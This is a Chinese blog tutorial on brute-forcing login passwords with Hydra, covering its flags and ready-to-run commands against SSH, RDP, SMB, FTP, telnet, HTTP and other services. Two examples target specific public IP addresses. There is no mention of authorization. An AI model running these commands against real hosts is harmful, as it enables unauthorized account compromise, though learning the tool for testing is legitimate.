HYDRA 账号密码爆破

个人博客:www.ytongsai.cn

作者:凌度

time:2023/04/13

1. Hydra 简介:

hydra 是一个自动化的爆破工具,暴力破解弱密码,它支持的协议非常多

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

2. Hydra 基于 kali:

1. github 项目地址:

https://github.com/vanhauser-thc/thc-hydra

由于我们的 kail 自带 Hydra,因此我这里安装省略了,还有一点是,我真的不会安装。。。这个软件在 windows 上。

2. Hydra 常用命令参数:

-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为 16。
-w TIME 设置最大超时的时间,单位秒,默认是 30s。
-v / -V 显示详细过程。
server 目标 ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-
ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy 
cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener 
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq 
sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd 
firebird ncp afp 等等。
hydra -l root -P UserPassCombo-Jay.txt -t 5 -vV 47.110.73.12 ssh 
-f 
hydra -l administrator -P UserPassCombo-Jay.txt -t 5 -vV 
47.99.218.105 rdp -f

3. Hydra 爆破案例:

我们以 ssh 服务作为案例:

我们在 kali 当中输入如何如下命令即可对目标的 ip 实现 ssh 爆破

-l 指定用户名,然后用 -P (注意这里是大写)指定我们的字典,通过 -v 显示输出的信息,通过 -f 在我们爆破成功的时候停止爆破,前面都是填写参数,最后两个位置填写的是我们目标的 ip 和 服务。

hydra -l ubuntu -P /force_dictionary/Fuzzing-Dicts-master/Password-Top1000(1010).txt -t 4 -v -f ip ssh 

4. Hydra 爆破不同协议的密码:

​#破解ssh:        hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
#破解https:     hydra -m /index.php -l username -P pass.txt IP https
#破解teamspeak: hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
#破解cisco:     hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 127.0.0.1 cisco-enable
#破解smb:       hydra -l administrator -P pass.txt IP smb
#破解pop3:      hydra -l muts -P pass.txt my.pop3.mail pop3
#破解rdp:       hydra IP rdp -l administrator -P pass.txt -V          
#破解http-proxy: hydra -l admin -P pass.txt http-proxy://127.0.0.1  
#破解telnet:     hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
#破解ftp:       hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
#get方式提交,破解web登录: 
hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ldsecurity

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值